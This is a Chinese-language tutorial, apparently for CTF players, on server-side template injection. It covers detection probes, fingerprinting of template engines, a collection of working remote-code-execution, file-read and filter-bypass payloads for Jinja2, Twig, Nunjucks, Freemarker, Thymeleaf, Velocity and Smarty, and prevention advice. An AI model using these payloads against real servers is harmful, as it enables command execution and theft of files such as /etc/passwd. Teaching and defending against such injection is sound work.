定义
SSTI(Server-Side Template Injection,服务端模板注入)
开发框架使用模板引擎(Jinja2、Twig、Freemarker、Velocity 等)渲染页面,当可控用户输入直接拼接进模板代码,而非单纯传入变量时,攻击者可以构造模板语法,在服务器执行任意代码、读取文件。
如何确定是否有 SSTI 漏洞
核心原理:区分「单纯文本输出」和「模板引擎解析执行」
输入特殊模板标记,如果后端把标记当成代码执行 → SSTI;原样打印文字 → 无漏洞。
一、第一步:基础探测(最简 payload,优先发送)
针对 Python Flask-Jinja2(你当前环境)
发送请求:{"template":"{``{7*7}}"}
判断结果:
返回 49
✅ 存在 SSTI,模板引擎执行了数学运算
页面原样输出字符串 {{7*7}}
❌ 不存在 SSTI(后端做了转义,只是普通字符串渲染)
备选探测(区分模板引擎,防止被简单 WAF 拦截)
bash
{{3+4}}
{{''}}
二、第二步:区分 SSTI 和 XSS(极易混淆!)
很多人踩坑:
输入 弹窗是 XSS,不是 SSTI;
输入 {{7*7}} 算出结果才是 SSTI。
简单总结:
<> 生效 ≈ HTML/XSS
{{}} 内表达式被执行 ≈ SSTI
三、不同模板引擎探测标记(拓展,CTF 通用)
遇到不同语言网站,测试语法不一样:
bash
Python Jinja2(Flask) / PHP Twig
{{7*7}}
Java FreeMarker
${7*7}
Java Velocity
#set($a=7*7) $a
NodeJS Nunjucks
{{7*7}}
四、第三步:验证漏洞深度(确认能否进一步利用)
确认 {{7*7}} 执行成功后,逐级探测,判断是否有沙箱限制:
① 探测能否访问对象属性(无沙箱可 RCE)
bash
{"template":"{{config}}"}
输出大量配置信息:Flask 环境,可尝试 config.__class__ 那套 RCE 载荷
返回 Unauthorized / 报错:启用 Jinja2 沙箱 SandboxedEnvironment,直接__xxx__被拦截,要用|attr()绕过
② 沙箱简单判断
发送:
bash
{"template":"{{config.__class__}}"}
返回 Error:Unauthorized → 沙箱开启
正常输出类信息 → 无沙箱,原始 payload 直接利用
五、容易误判的几种情况
1、输入 {{7*7}} 页面空白 / 报错 500
有可能存在 SSTI,但 WAF / 过滤拦截了,换变形探测:
bash
{{()}}
{{11-3}}
2、URL 编码干扰
GET 传参时需要注意编码;
3、后端只过滤大括号
尝试变体 {%print(7*7)%}(Jinja2 语句标签)
如何确认开发框架使用哪种模板引擎渲染页面
一、整体思路
先通过指纹信息初步猜测框架,再用模板语法探针精准确认模板引擎。
逻辑链:HTTP 响应指纹 → 猜测后端语言 / 框架 → 发送对应模板标记测试 → 根据返回结果锁定模板引擎
一、第一步:抓包看 HTTP 指纹(优先操作,零侵入)
- Response Header 重点观察

- 页面特征线索
Flask:页面报错栈出现 werkzeug、jinja2
SpringBoot 错误页:黄白 Whitelabel Error Page → Thymeleaf
PHP 页面:.php 后缀
URL 路径出现 .jsp → Java
缺点:很多站点会删除 / 伪装 Header,指纹不一定存在,只能做猜测,不能定论。
二、第二步:语法探针测试(最可靠!区分 SSTI 模板引擎)
原理:不同模板引擎使用完全不同的语法标记,逐个发送,看哪条会执行表达式、不会原样输出。
测试原则:一条一条发包,不要一次性全发;如果某一条生效,直接锁定引擎。
探针清单(按 CTF 出现频率排序)
Jinja2(Python Flask / Tornado)
bash
{{7*7}}
{% print(7*7) %}
✅ 生效现象:页面输出 49
Twig(PHP Symfony)
bash
{{7*7}}
和 Jinja 语法一样!二者探针相同,只能依靠后端语言区分:看是否 PHP 环境。
Freemarker(Java)
bash
${7*7}
Velocity(Java)
plaintext
#set($a=7*7) $a
Thymeleaf(SpringBoot Java)
bash
[[${7*7}]]
Nunjucks(Node.js Express)
bash
{{7*7}}
Smarty(PHP 老框架)
bash
{7*7}
关键区分难点:Jinja2 VS Twig VS Nunjucks
三者都使用 {{表达式}},探针一模一样,怎么区分?
方法 1:HTTP 指纹(最先看,零发包)
1)响应头 Server / X-Powered-By
Jinja2(Flask)
Server: Werkzeug
错误堆栈出现:werkzeug、jinja2
Twig(PHP)
X-Powered-By: PHP/7.x
页面后缀常为 .php
Nunjucks(Node)
X-Powered-By: Express
缺点:生产环境经常删除 Header,只能作为辅助猜想,不能下定论。
方法 2:特征对象探针(最实用,CTF 首选)
利用引擎独有的内置全局变量 / 对象发包测试
① 测试是否 Jinja2(Flask 环境专属)
bash
{{config}}
返回大量配置信息(SECRET_KEY 等)→ Jinja2 Flask ✅
报错 / 无输出 /undefined → 不是 Jinja2
重点:Twig、Nunjucks 不存在 config 对象
② 区分 Twig VS Nunjucks
排除 Jinja2 后,继续下发探针:
探针 A(Twig 独有 _self)
bash
{{_self}}
正常返回模板对象信息 → Twig(PHP)
探针 B(Nunjucks 独有 range 对象构造器)
bash
{{range.constructor}}
Nunjucks 中 range 是全局对象;Twig 不存在该对象。
极简发包区分流程(直接复制测试)
发送 {``{config}}
有数据 → Jinja2
无结果 → 继续
发送 {``{_self}}
正常输出对象 → Twig
报错 undefined → Nunjucks
方法 3:语言特性探针(终极区分,万能兜底)
利用三种底层语言语法差异,发送表达式,根据返回结果判定。
原理:模板表达式最终交给底层语言执行。
测试载荷 1:数组字典语法差异
bash
{{ [1,2] is iterable }}
Jinja2:支持 is 测试器 → 返回 True
Twig:同样支持,这条无法区分二者
终极区分 Twig(PHP) vs Jinja2(Python)
发送位运算 / 字符串特性,或者调用语言内置函数:
bash
{{ 'abc'|upper }}
三者都支持,换这条:{``{ [].keys }}
bash
1.Jinja2 (Python) 尝试:
{{().__class__}}
能正常解析、访问类对象 → Jinja2
2. Twig (PHP) 不存在空元组这条继承链,直接报错
终极兜底载荷(区分 Nunjucks)
bash
{{range.constructor("return process")()}}
返回 process 对象 → Nunjucks(Node.js)
报错 undefined → Twig
方法 4:错误页面堆栈(准确率极高)
主动构造错误语句,看报错栈关键词:
报错堆栈包含:jinja2 → Jinja2
堆栈出现:Twig_Template、symfony → Twig
堆栈出现:nunjucks、node、express → Nunjucks
构造错误载荷(随便一条):
bash
{{abcdefg.aaaaa}}
后端抛出异常,观察页面报错源码。
方法 5:RCE 试探(最后手段,不推荐优先使用)
当以上全部失效,尝试各自语言专属 EXP:
Jinja2(Python)
bash
{{''.__class__.__base__}}
成功返回对象 → Jinja2
Twig(PHP)
bash
{{_self.env.registerUndefinedFilterCallback("exec")}}
不报错 = Twig
Nunjucks(NodeJS)
bash
{{range.constructor("return global")()}}
返回 global 对象 → Nunjucks
bash
总结:
测试顺序:HTTP 指纹 → {{config}} → {{_self}} → {{range.constructor}} → 报错堆栈
{{config}} 有效 → Jinja2(Flask)
{{config}} 无效,{{_self}} 有效 → Twig(PHP)
{{config}}、{{_self}} 都无效,{{range.constructor}} 有效 → Nunjucks(Node.js)
高频踩坑提醒
❌ 误区:{{7*7}} 生效 = Jinja2
错!三者全部支持。
❌ 误区:Payload 通用
Jinja2 的 config.__class__ 在 Twig/Nunjucks 完全不能用!
部分非 Flask Jinja2 项目没有 config 变量(如 Tornado),这时就要依靠报错堆栈 + ().__class__ 继承链特征识别。
SSTI漏洞利用
分引擎漏洞 Payload 大全
1. Jinja2(Python Flask)
① Flask 专属链路(最简,优先使用)
✅ 无沙箱(无 Unauthorized 报错)
bash
# 命令执行
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# 搜索flag并直接打印内容
{{config.__class__.__init__.__globals__['os'].popen('find / -name flag* -type f -exec cat {} \\; 2>/dev/null').read()}}
✅ 有沙箱 SandboxedEnvironment(报错 Unauthorized)
使用 |attr() 绕过禁止直接访问__xxx__
bash
{{config|attr("__class__")|attr("__init__")|attr("__globals__")["os"]|attr("popen")('id')|attr("read")()}}
② 通用继承链(非 Flask,没有 config 变量时使用)
无沙箱
bash
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['os'].popen('id').read()}}
沙箱绕过版
bash
{{""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|list()[132]|attr("__init__")|attr("__globals__")["os"]|attr("popen")('id')|attr("read")()}}
⚠️ 132 是 subprocess.Popen,不同 Python 版本下标会变动。
③ 纯文件读取(不执行命令,WAF 更容易放行)
bash
{{''.__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
2. Twig(PHP Symfony)
没有config对象,Jinja 载荷完全无效
Twig < 1.19.0 经典 RCE
bash
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
新版 Twig 绕过
bash
{{['id']|filter('system')}}
文件读取
bash
{{include('/etc/passwd')}}
3. Nunjucks(Node.js Express)
bash
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}}
4. Freemarker Java
探测:${7*7}
bash
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
5. Thymeleaf(SpringBoot)
探测:\[${7\*7}]
bash
[[${T(java.lang.Runtime).getRuntime().exec("id")}]]
6. Velocity Java
探测:#set( a = 7 ∗ 7 ) a=7*7) a=7∗7)a
bash
#set($rt=$context.get("runtime").getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null))$rt.exec('id')
7. Smarty PHP
探测:{7*7}
bash
{system('id')}
Jinja2 常见过滤绕过(CTF 高频)
1. 过滤下划线 _
bash
{% set a="_" %}{{config|attr(a~a~"class"~a~a)}}
2. 过滤空格
shell 命令用 ${IFS} 替代空格
bash
cat${IFS}/etc/passwd
3. 过滤 os / popen
切换 subprocess.Popen 继承链
4. 禁用 方括号取值
改用 .get()
bash
{{config|attr("__class__")|attr("__init__")|attr("__globals__")|attr("get")("os")}}
漏洞预防
一、开发层面根治方案(最重要)
1. 规范使用模板渲染 API(强制落实)
Python Flask(Jinja2)
优先使用:render_template("页面文件.html", args=数据)
严禁:render_template_string(用户可控内容)
如果业务必须动态渲染字符串:只允许固定模板,外部数据仅通过参数传入。
PHP Twig / Smarty
bash
// ❌ 危险
$tpl->render("Hello ".$userInput);
// ✅ 安全
$tpl->render("Hello {{name}}", ["name" => $userInput]);
Node Nunjucks / Java Freemarker/Thymeleaf
禁止字符串拼接构造模板文本,统一使用参数传值。
2. 禁用危险功能,使用加固沙箱
Jinja2
业务确实需要 render_template_string 动态渲染时,启用沙箱 SandboxedEnvironment,限制魔术方法访问:
bash
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
⚠️ 沙箱只是缓解手段,不能 100% 杜绝所有绕过,优先避免动态渲染。
Twig
开启安全策略:
bash
$policy = new \Twig\Sandbox\SecurityPolicy();
$twig->addExtension(new \Twig\Extension\SandboxExtension($policy));
3. 输入输出编码(辅助防护,不能单独防御 SSTI)
很多人混淆 XSS 与 SSTI:
HTML 转义只能防御 XSS,无法防御 SSTI。
SSTI 发生在服务端模板引擎解析阶段,早于 HTML 输出。
👉 不要依赖转义作为 SSTI 主要防护手段。
4. 最小权限原则(纵深防御)
即使被拿下 RCE,限制危害:
Web 服务进程禁止 root/administrator 运行
禁止写入 webshell 目录、禁止对外开放高危命令
容器部署时限制系统调用、挂载目录只读
5. 黑名单不要作为唯一防护
过滤 {{、class 、exec 等特征极易被绕过:
字符串拼接构造魔术方法名
换行、注释、编码变形
黑名单防御可靠性极低,仅作 WAF 辅助策略。
二、代码审计 & 上线前检测

审计结论:只要外部可控参数流入以上函数,判定为高危风险。
三、运维 / 基础设施纵深防御
WAF 策略(辅助)
拦截常见 SSTI 攻击特征:
bash
{{}}、[[${}]]、#set(、__class__、__globals__
只能拦截基础攻击,无法抵御变形绕过。
限制 Web 服务器出网
防止漏洞被利用后反弹 Shell、横向移动。
定期更新模板引擎版本
很多旧版本存在已知沙箱逃逸漏洞:
Twig < 1.19.0 RCE
低版本 Jinja2 沙箱绕过
及时升级 Jinja2、Twig、Freemarker、Nunjucks 到最新稳定版。
四、容易踩坑的误区
误区 1:开启 HTML 自动转义就能防 SSTI
❌ 错误
自动转义防止【浏览器解析 XSS】;
SSTI 是服务端模板引擎执行代码,发生在转义之前,完全不受影响。
误区 2:启用沙箱 = 高枕无忧
❌ 错误
沙箱是「缓解措施」,历史上多次爆出沙箱逃逸 Payload。
最优方案:消灭动态模板渲染,而不是依靠沙箱。
误区 3:简单过滤大括号 { } 解决漏洞
❌ 错误
模板引擎存在其他语法标签、攻击者可构造变形载荷绕过过滤。
误区 4:内网业务不需要防护 SSTI
❌ 错误
内网同样存在数据泄露、命令执行、读取数据库配置文件风险。
五、极简总结
1、首选根治方案:禁止可控输入参与模板源码构造,用户数据仅作为模板变量传入。
2、业务强需求必须动态渲染时:启用官方沙箱 + 升级组件至最新版本。
3、进程使用低权限账号运行,做好目录权限隔离(纵深防御)。
4、WAF、关键词过滤仅作为辅助手段,不可单独依赖。
5、代码审计重点排查各类 renderString / render_template_string 动态模板渲染函数。
输入验证:对用户传入的template参数进行严格的白名单过滤,禁止包含模板引擎特殊字符
权限控制:禁止使用Root权限运行Web应用,采用最小权限原则,限制可访问的目录